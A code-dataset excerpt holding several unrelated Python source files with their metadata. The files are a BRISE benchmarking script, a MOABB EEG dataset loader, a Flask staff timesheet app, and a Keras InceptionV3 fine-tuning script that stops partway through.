experiment_description['Repeater']['Parameters']['ModelAwareness'][\"isEnabled\"] = False\n for BaseAcceptableErrors in [5, 15, 50]:\n experiment_description['Repeater']['Parameters']['BaseAcceptableErrors'] = [BaseAcceptableErrors]\n self.logger.info(\"Default Repeater: Changing BaseAcceptableErrors to %s\" % BaseAcceptableErrors)\n self.execute_experiment(experiment_description)\n\n # benchmarking a student repeater with enabled model awareness\n experiment_description.update(deepcopy(student_rep_skeleton))\n for BaseAcceptableErrors in [5, 15, 50]:\n experiment_description['Repeater']['Parameters']['BaseAcceptableErrors'] = [BaseAcceptableErrors]\n self.logger.info(\"Student Repeater: Changing BaseAcceptableErrors to %s\" % BaseAcceptableErrors)\n self.execute_experiment(experiment_description)\n\n experiment_description.update(deepcopy(student_rep_skeleton))\n for MaxAcceptableErrors in [35, 50, 120]:\n experiment_description['Repeater']['Parameters']['ModelAwareness']['MaxAcceptableErrors'] = [MaxAcceptableErrors]\n self.logger.info(\"Student Repeater: Changing MaxAcceptableErrors to %s\" % MaxAcceptableErrors)\n self.execute_experiment(experiment_description)\n\n experiment_description.update(deepcopy(student_rep_skeleton))\n for RatiosMax in [5, 10, 30]:\n experiment_description['Repeater']['Parameters']['ModelAwareness']['RatiosMax'] = [RatiosMax]\n self.logger.info(\"Student Repeater: Changing RatiosMax to %s\" % BaseAcceptableErrors)\n self.execute_experiment(experiment_description)\n\n return self.counter\n\n def benchmark_SA(self):\n\n scenarios = {\n \"trivial\": { \"variants\": 1, \"requests\": 1, \"depth\": 1, \"resources\": 1.0 },\n \"small\": { \"variants\": 2, \"requests\": 1, \"depth\": 2, \"resources\": 1.5 },\n \"small_hw\": { \"variants\": 2, \"requests\": 1, \"depth\": 2, \"resources\": 5.0 },\n \"small_sw\": { \"variants\": 2, \"requests\": 1, \"depth\": 5, \"resources\": 1.5 },\n \"medium\": { \"variants\": 10, \"requests\": 15, \"depth\": 2, \"resources\": 1.5 },\n \"medium_hw\": { \"variants\": 10, \"requests\": 15, \"depth\": 2, \"resources\": 5.0 },\n \"medium_sw\": { \"variants\": 5, \"requests\": 10, \"depth\": 5, \"resources\": 1.5 },\n \"large\": { \"variants\": 20, \"requests\": 20, \"depth\": 2, \"resources\": 1.5 },\n \"large_hw\": { \"variants\": 20, \"requests\": 20, \"depth\": 2, \"resources\": 5.0 },\n \"large_sw\": { \"variants\": 10, \"requests\": 20, \"depth\": 5, \"resources\": 1.5 },\n \"huge\": { \"variants\": 50, \"requests\": 50, \"depth\": 2, \"resources\": 1.5 },\n \"huge_hw\": { \"variants\": 50, \"requests\": 50, \"depth\": 2, \"resources\": 5.0 },\n \"huge_sw\": {\"variants\": 20, \"requests\": 50, \"depth\": 5, \"resources\": 1.5 }\n }\n\n for s in scenarios:\n self.logger.info(\"here\")\n experiment_description = self.base_experiment_description\n experiment_description['TaskConfiguration']['Scenario']['ws_file'] = \"result_v{}_q{}_d{}_r{}.csv\".\\\n format(scenarios[s][\"variants\"], scenarios[s][\"requests\"], scenarios[s][\"depth\"], str(scenarios[s][\"resources\"]).replace('.', '_'))\n experiment_description['TaskConfiguration']['Scenario']['numImplementations'] = scenarios[s][\"variants\"]\n experiment_description['TaskConfiguration']['Scenario']['numRequests'] = scenarios[s][\"requests\"]\n experiment_description['TaskConfiguration']['Scenario']['componentDepth'] = scenarios[s][\"depth\"]\n experiment_description['TaskConfiguration']['Scenario']['excessComputeResourceRatio'] = scenarios[s][\"resources\"]\n self.logger.info(\"Benchmarking next Scenario file(ws_file): %s\" % experiment_description['TaskConfiguration']['Scenario']['ws_file'])\n self.execute_experiment(experiment_description)\n\n return self.counter\n\n\ndef run_benchmark():\n main_api_address = \"http://main-node:49152\"\n # Container creation performs --volume on `./results/` folder. Change wisely results_storage.\n results_storage = \"./results/serialized/\"\n try:\n runner = BRISEBenchmark(main_api_address, results_storage)\n try:\n # --- Add User defined benchmark scenarios execution below ---#\n # --- Possible variants: benchmark_repeater, benchmark_SA ---#\n runner.benchmark_repeater()\n\n # --- Helper method to remove outdated experiments from `./results` folder---#\n # runner.move_redundant_experiments(location=runner.results_storage + \"outdated/\")\n\n # --- Add User defined benchmark scenarios execution above ---#\n except Exception as err:\n logging.warning(\"The Benchmarking process interrupted by an exception: %s\" % err)\n runner.main_api_client.stop_main()\n finally:\n runner.main_api_client.stop_main()\n chown_files_in_dir(results_storage)\n logging.info(\"The ownership of dump files was changed, exiting.\")\n except Exception as err:\n logging.error(\"Unable to create BRISEBenchmark instance: %s\" % err)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"The entry point of BRISE Benchmark service.\")\n parser.add_argument(\"mode\", choices=[\"analyse\", \"benchmark\"], help=\"Mode in which Benchmarking functionality should be runned.\")\n args = parser.parse_args()\n\n if args.mode == \"analyse\":\n build_benchmark_report()\n else: # args.mode == \"benchmark\"\n run_benchmark()\n", "sub_path": "benchmark/benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 17976, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logger.default_logger.BRISELogConfigurator", "line_number": 30, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 41, "usage_type": "call"}, {"api_name": "logger.default_logger", "line_number": 43, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 43, "usage_type": "call"}, {"api_name": "logger.default_logger.info", "line_number": 45, "usage_type": "call"}, {"api_name": "logger.default_logger", "line_number": 45, "usage_type": "name"}, {"api_name": "logger.default_logger.error", "line_number": 47, "usage_type": "call"}, {"api_name": "logger.default_logger", "line_number": 47, "usage_type": "name"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 51, "usage_type": "call"}, {"api_name": "jinja2.Environment", "line_number": 52, "usage_type": "call"}, {"api_name": "shared_tools.get_resource_as_string", "line_number": 53, "usage_type": "name"}, {"api_name": "shared_tools.restore", "line_number": 57, "usage_type": "call"}, {"api_name": "plotly.offline.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "plots.table.table", "line_number": 60, "usage_type": "call"}, {"api_name": "plotly.offline.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "plots.improvements.improvements", "line_number": 61, "usage_type": "call"}, {"api_name": "plotly.offline.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "plots.box_statistic.box_statistic", "line_number": 64, "usage_type": "call"}, {"api_name": "plotly.offline.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "plots.repeat_vs_avg.repeat_vs_avg", "line_number": 67, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 69, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 69, "usage_type": "call"}, {"api_name": "plots.exp_config.exp_description_highlight", "line_number": 78, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 83, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 83, "usage_type": "argument"}, {"api_name": "shared_tools.chown_files_in_dir", "line_number": 92, "usage_type": "call"}, {"api_name": "os.sys.argv.pop", "line_number": 106, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 106, "usage_type": "attribute"}, {"api_name": "tools.initial_config.load_experiment_description", "line_number": 107, "usage_type": "call"}, {"api_name": "shared_tools.MainAPIClient", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 110, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 117, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 134, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 137, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 140, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 132, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 163, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 163, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 169, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 188, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 191, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 199, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 199, "usage_type": "call"}, {"api_name": "os.path", "line_number": 199, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 242, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 251, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 255, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 263, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 269, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 275, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 332, "usage_type": "call"}, {"api_name": "shared_tools.chown_files_in_dir", "line_number": 336, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 337, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 339, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 343, "usage_type": "call"}]} {"seq_id": "329963213", "text": "from moabb.datasets.base import BaseDataset\n\nfrom mne.io import read_raw_edf\nfrom mne.channels import read_montage\nimport numpy as np\n\nfrom . import download as dl\n\nUPPER_LIMB_URL = 'https://zenodo.org/record/834976/files/'\n\n\nclass UpperLimb(BaseDataset):\n \"\"\"Upper Limb motor dataset.\n\n Upper limb dataset :\n http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0182578\n\n Consist in 6 upper limb movement, recoded over 2 sessions.\n The first session is motor execution, the second session is imagination.\n\n \"\"\"\n\n def __init__(self, imagined=True, executed=False):\n self.imagined = imagined\n self.executed = executed\n event_id = {\"right_elbow_flexion\": 1536,\n \"right_elbow_extension\": 1537,\n \"right_supination\": 1538,\n \"right_pronation\": 1539,\n \"right_hand_close\": 1540,\n \"right_hand_open\": 1541,\n \"rest\": 1542}\n\n n_sessions = int(imagined) + int(executed)\n super().__init__(\n subjects=list(range(1, 16)),\n sessions_per_subject=n_sessions,\n events=event_id,\n code='Upper Limb Imagery',\n interval=[2.5, 5],\n paradigm='imagery',\n doi='10.1371/journal.pone.0182578')\n\n def _get_single_subject_data(self, subject):\n \"\"\"return data for a single subject\"\"\"\n\n sessions = []\n if self.imagined:\n sessions.append('imagination')\n\n if self.executed:\n sessions.append('execution')\n\n out = {}\n for session in sessions:\n paths = self.data_path(subject, session=session)\n\n eog = ['eog-l', 'eog-m', 'eog-r']\n montage = read_montage('standard_1005')\n data = {}\n for ii, path in enumerate(paths):\n raw = read_raw_edf(path, montage=montage, eog=eog,\n misc=range(64, 96), preload=True,\n verbose='ERROR')\n # there is nan in the data\n raw._data[np.isnan(raw._data)] = 0\n data['run_%d' % ii] = raw\n\n out[session] = data\n return out\n\n def data_path(self, subject, path=None, force_update=False,\n update_path=None, verbose=None, session=None):\n if subject not in self.subject_list:\n raise(ValueError(\"Invalid subject number\"))\n\n paths = []\n\n if session is None:\n sessions = []\n if self.imagined:\n sessions.append('imagination')\n\n if self.executed:\n sessions.append('execution')\n else:\n sessions = [session]\n\n for session in sessions:\n for run in range(1, 11):\n url = f\"{UPPER_LIMB_URL}motor{session}_subject{subject}_run{run}.gdf\"\n p = dl.data_path(url, 'UPPERLIMB', path, force_update,\n update_path, verbose)\n paths.append(p)\n\n return paths\n", "sub_path": "moabb/datasets/upper_limb.py", "file_name": "upper_limb.py", "file_ext": "py", "file_size_in_byte": 3078, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "moabb.datasets.base.BaseDataset", "line_number": 12, "usage_type": "name"}, {"api_name": "mne.channels.read_montage", "line_number": 59, "usage_type": "call"}, {"api_name": "mne.io.read_raw_edf", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 66, "usage_type": "call"}]} {"seq_id": "52669604", "text": "from app import app, lm\nfrom flask import Flask, render_template, request, url_for, flash, redirect\nfrom datetime import datetime\nfrom db import DBAccess\nfrom flask.ext.login import login_user, logout_user, login_required, current_user\nfrom forms import LoginForm, RegisterForm\nfrom user import User\nimport json\n\ndbManager = DBAccess()\n\n@app.route(\"/\", methods=['GET', 'POST'])\n@login_required\ndef main():\n result = None\n if request.method == 'POST':\n form_data = request.form\n result = dbManager.log_projects(current_user.username, form_data)\n if result == \"Hours updated successfully\":\n flash(result, 'success')\n elif result == \"No projects entered\":\n flash(result, 'error')\n sorted_user_projects = {}\n total_hours = 0\n hours_required = 0\n date = datetime.now()\n year = str(date.year)\n month = date.strftime(\"%B\")\n user = load_user(current_user.username)\n user_role = user.get_role()\n user_dict = dbManager.select_user(user.username)\n if year in user_dict and month in user_dict[year]:\n user_projects = user_dict[year][month]['projects']\n for x, y in user_projects.items():\n project = dbManager.select_project(x)\n sorted_user_projects[project['name']] = user_projects[x]\n print(sorted_user_projects)\n if 'total_hours' in user_dict[year][month]:\n total_hours = int(user_dict[year][month]['total_hours'])\n if 'hours_required' in user_dict[year][month]:\n hours_required = int(user_dict[year][month]['hours_required'])\n projects = dbManager.select_all_projects()\n return render_template(\n 'staff-returns.html',\n title='home',\n month=month,\n year=year,\n projects=projects,\n user_role=user_role,\n user_projects=sorted_user_projects,\n total_hours=total_hours,\n hours_required=hours_required,\n result=result)\n\n\n@app.route('/budget-tracking', methods=['GET'])\n@login_required\ndef project_management():\n user = load_user(current_user.username)\n user_role = user.get_role()\n users = dbManager.select_all_users();\n date = datetime.now()\n year = str(date.year)\n month = date.strftime(\"%B\")\n monthNames = [\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"];\n if user_role == 'Admin' or user_role == 'Delivery Manager':\n projects = dbManager.select_all_projects()\n return render_template('budget-tracking.html',\n title='budget-tracking',\n user_role=user_role,\n projects=projects,\n monthNames=monthNames,\n current_month=month,\n current_year=year,\n users=users)\n else:\n return render_template('404.html'), 404\n\n@app.route('/user-management', methods=['GET', 'POST'])\n@login_required\ndef user_management():\n result = None\n if request.method == 'POST':\n form_data = request.form\n result = dbManager.update_user(form_data)\n if result == \"User updated successfully\":\n flash(result, 'success')\n user = load_user(current_user.username)\n user_role = user.get_role()\n if user_role == 'Admin':\n days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\"]\n roles = dbManager.select_all_roles()\n paygrades = dbManager.select_paygrades()\n users = dbManager.select_all_users()\n return render_template('user-management.html',\n days=days,\n paygrades=paygrades,\n roles=roles,\n title='user-management',\n users=users,\n user_role=user_role,\n result=result)\n else:\n return render_template('404.html'), 404\n\n\n@app.route('/load-user/<user_id>', methods=['GET'])\n@login_required\ndef load_user_data(user_id=None):\n user = load_user(current_user.username)\n user_role = user.get_role()\n if user_role == 'Admin' or user_role == 'Delivery Manager':\n user = dbManager.select_user(user_id)\n user.pop('password')\n return json.dumps(user)\n\n\n@app.route('/load-project/<project_name>', methods=['GET'])\n@login_required\ndef load_project(project_name=None):\n user = load_user(current_user.username)\n user_role = user.get_role()\n if user_role == 'Admin' or user_role == 'Delivery Manager':\n project_id = dbManager.select_project_id_from_name(project_name)\n project = dbManager.select_project(project_id)\n return json.dumps(project)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm(request.form)\n if request.method == 'POST' and form.validate_on_submit():\n user = dbManager.select_user(str.upper(form.username.data))\n if user != 'User not found':\n if user and User.validate_login(user['password'], form.password.data):\n user_obj = User(user['_id'])\n if form.remember.data:\n login_user(user_obj, remember=True)\n else:\n login_user(user_obj)\n flash(\"Logged in successfully\", category='success')\n return redirect(request.args.get(\"next\") or url_for('main'))\n else:\n flash(\"Wrong username or password\", category='error')\n else:\n flash(\"Wrong username or password\", category='error')\n return render_template('login.html', title='login', form=form)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('login'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated():\n logout_user()\n form = RegisterForm(request.form)\n days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\"]\n if request.method == 'POST':\n if form.validate_on_submit() == False:\n flash('All fields are required.', category='error')\n else:\n result = dbManager.insert_user(form)\n if result == 'Success':\n flash('Account created', category='success')\n return redirect(url_for('login'))\n else:\n flash('Username taken', category='error')\n return render_template('register.html', title='register', form=form, days=days)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n if current_user.is_authenticated():\n user = load_user(current_user.username)\n user_roles = user.get_role()\n return render_template('404.html', user_roles=user_roles), 404\n else:\n return render_template('404.html'), 404\n\n\n@lm.user_loader\ndef load_user(user_id):\n u = dbManager.select_user(user_id)\n if not u:\n return None\n return User(u['_id'])\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, host='0.0.0.0', port=8080)", "sub_path": "staff-returns/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7115, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "db.DBAccess", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 29, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 30, "usage_type": "call"}, {"api_name": "user.username", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 12, "usage_type": "call"}, {"api_name": "app.app", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 59, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 77, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 56, "usage_type": "call"}, {"api_name": "app.app", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 88, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 89, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 104, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 79, "usage_type": "call"}, {"api_name": "app.app", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 110, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 110, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 111, "usage_type": "call"}, {"api_name": "user.pop", "line_number": 114, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 115, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 107, "usage_type": "call"}, {"api_name": "app.app", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 121, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 122, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 118, "usage_type": "call"}, {"api_name": "app.app", "line_number": 118, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 119, "usage_type": "name"}, {"api_name": "forms.LoginForm", "line_number": 131, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 131, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 131, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 132, "usage_type": "name"}, {"api_name": "user.User.validate_login", "line_number": 135, "usage_type": "call"}, {"api_name": "user.User", "line_number": 135, "usage_type": "name"}, {"api_name": "user.User", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.ext.login.login_user", "line_number": 138, "usage_type": "call"}, {"api_name": "flask.ext.login.login_user", "line_number": 140, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 141, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 142, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 142, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 147, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 129, "usage_type": "call"}, {"api_name": "app.app", "line_number": 129, "usage_type": "name"}, {"api_name": "flask.ext.login.logout_user", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 153, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 150, "usage_type": "call"}, {"api_name": "app.app", "line_number": 150, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.is_authenticated", "line_number": 158, "usage_type": "call"}, {"api_name": "flask.ext.login.current_user", "line_number": 158, "usage_type": "name"}, {"api_name": "flask.ext.login.logout_user", "line_number": 159, "usage_type": "call"}, {"api_name": "forms.RegisterForm", "line_number": 160, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 160, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 160, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 162, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 162, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 168, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 171, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 172, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 156, "usage_type": "call"}, {"api_name": "app.app", "line_number": 156, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.is_authenticated", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.ext.login.current_user", "line_number": 177, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user.username", "line_number": 178, "usage_type": "attribute"}, {"api_name": "flask.ext.login.current_user", "line_number": 178, "usage_type": "name"}, {"api_name": "user.get_role", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 180, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 182, "usage_type": "call"}, {"api_name": "app.app.errorhandler", "line_number": 175, "usage_type": "call"}, {"api_name": "app.app", "line_number": 175, "usage_type": "name"}, {"api_name": "user.User", "line_number": 190, "usage_type": "call"}, {"api_name": "app.lm.user_loader", "line_number": 185, "usage_type": "attribute"}, {"api_name": "app.lm", "line_number": 185, "usage_type": "name"}, {"api_name": "app.app.run", "line_number": 194, "usage_type": "call"}, {"api_name": "app.app", "line_number": 194, "usage_type": "name"}]} {"seq_id": "139368451", "text": "# --coding:utf-8--\r\nimport os\r\nimport sys\r\nimport glob\r\nimport argparse\r\nimport matplotlib.pyplot as plt\r\n \r\nfrom keras import __version__\r\nfrom keras.applications.inception_v3 import InceptionV3, preprocess_input\r\n#from keras.applications.inception_v3_matt import InceptionV3, preprocess_input\r\n \r\nfrom keras.models import Model\r\nfrom keras.layers import Dense, GlobalAveragePooling2D\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.optimizers import SGD\r\nfrom scipy import interp\r\nimport csv\r\n\r\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\r\n\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1,2,3\"\r\n \r\ndef get_nb_files(directory):\r\n \"\"\"Get number of files by searching directory recursively\"\"\"\r\n if not os.path.exists(directory):\r\n return 0\r\n cnt = 0\r\n for r, dirs, files in os.walk(directory):\r\n for dr in dirs:\r\n cnt += len(glob.glob(os.path.join(r, dr + \"/*\")))\r\n return cnt\r\n#train_num = get_nb_files('.../train') 2500\r\n#print(train_num)\r\n#input('wait...')\r\n \r\n# 数据准备\r\nIM_WIDTH, IM_HEIGHT = 299, 299 #InceptionV3指定的图片尺寸\r\nFC_SIZE = 1024 # 全连接层的节点个数\r\nNB_IV3_LAYERS_TO_FREEZE = 172 # 冻结层的数量\r\n \r\n \r\ntrain_dir = '/home/som/lab/yuyao/Inception/yindaojing/train' # 训练集数据\r\nval_dir = '/home/som/lab/yuyao/Inception/yindaojing/val' # 验证集数据\r\noutput_model_file = '/home/som/lab/yuyao/Inception/InceptionV3.model'\r\nnb_classes= 4\r\nnb_epoch = 40\r\nbatch_size = 32\r\n \r\nnb_train_samples = get_nb_files(train_dir) # 训练样本个数\r\nnb_classes = len(glob.glob(train_dir + \"/*\")) # 分类数\r\nnb_val_samples = get_nb_files(val_dir) #验证集样本个数\r\nnb_epoch = int(nb_epoch) # epoch数量\r\nbatch_size = int(batch_size) \r\n \r\n#　图片生成器\r\ntrain_datagen = ImageDataGenerator(\r\n preprocessing_function=preprocess_input,\r\n rotation_range=30,\r\n width_shift_range=0.2,\r\n height_shift_range=0.2,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True\r\n)\r\ntest_datagen = ImageDataGenerator(\r\n preprocessing_function=preprocess_input,\r\n rotation_range=30,\r\n width_shift_range=0.2,\r\n height_shift_range=0.2,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True\r\n)\r\n \r\n# 训练数据与测试数据\r\ntrain_generator = train_datagen.flow_from_directory(\r\ntrain_dir,\r\ntarget_size=(IM_WIDTH, IM_HEIGHT),\r\nbatch_size=batch_size,class_mode='categorical')\r\n \r\nvalidation_generator = test_datagen.flow_from_directory(\r\nval_dir,\r\ntarget_size=(IM_WIDTH, IM_HEIGHT),\r\nbatch_size=batch_size,class_mode='categorical')\r\n \r\n# 添加新层\r\ndef add_new_last_layer(base_model, nb_classes):\r\n \"\"\"\r\n 添加最后的层\r\n 输入\r\n base_model和分类数量\r\n 输出\r\n 新的keras的model\r\n \"\"\"\r\n x = base_model.output\r\n x = GlobalAveragePooling2D()(x)\r\n x = Dense(FC_SIZE, activation='relu')(x) #new FC layer, random init\r\n predictions = Dense(nb_classes, activation='softmax')(x) #new softmax layer\r\n model = Model(input=base_model.input, output=predictions)\r\n return model\r\n# 冻上NB_IV3_LAYERS之前的层\r\ndef setup_to_finetune(model):\r\n \"\"\"Freeze the bottom NB_IV3_LAYERS and retrain the remaining top layers.\r\n note: NB_IV3_LAYERS corresponds to the top 2 inception blocks in the inceptionv3 arch\r\n Args:\r\n model: keras model\r\n \"\"\"\r\n for layer in model.layers[:NB_IV3_LAYERS_TO_FREEZE]:\r\n layer.trainable = False\r\n for layer in model.layers[NB_IV3_LAYERS_TO_FREEZE:]:\r\n layer.trainable = True\r\n model.compile(optimizer=SGD(lr=0.0001, momentum=0.9), loss='categorical_crossentropy', metrics=['accuracy'])\r\n \r\n# 设置网络结构\r\nmodel = InceptionV3(weights='imagenet', include_top=False)\r\nmodel = add_new_last_layer(model, nb_classes)\r\nsetup_to_finetune(model)\r\n \r\n# 模式二训练\r\nhistory_ft = model.fit_generator(\r\ntrain_generator,\r\nsamples_per_epoch=nb_train_samples,\r\nnb_epoch=nb_epoch,\r\nvalidation_data=validation_generator,\r\nnb_val_samples=nb_val_samples,\r\nclass_weight='auto1')\r\n \r\n# 模型保存\r\nmodel.save(output_model_file)\r\n \r\n# 画图\r\ndef plot_training(history):\r\n acc = history.history['acc']\r\n val_acc = history.history['val_acc']\r\n loss = history.history['loss']\r\n val_loss = history.history['val_loss']\r\n epochs = range(len(acc))\r\n plt.plot(epochs, acc, 'r.')\r\n plt.plot(epochs, val_acc, 'r')\r\n plt.title('Training and validation accuracy')\r\n plt.figure()\r\n plt.plot(epochs, loss, 'r.')\r\n plt.plot(epochs, val_loss, 'r-')\r\n plt.title('Training and validation loss')\r\n plt.show()\r\n \r\n# 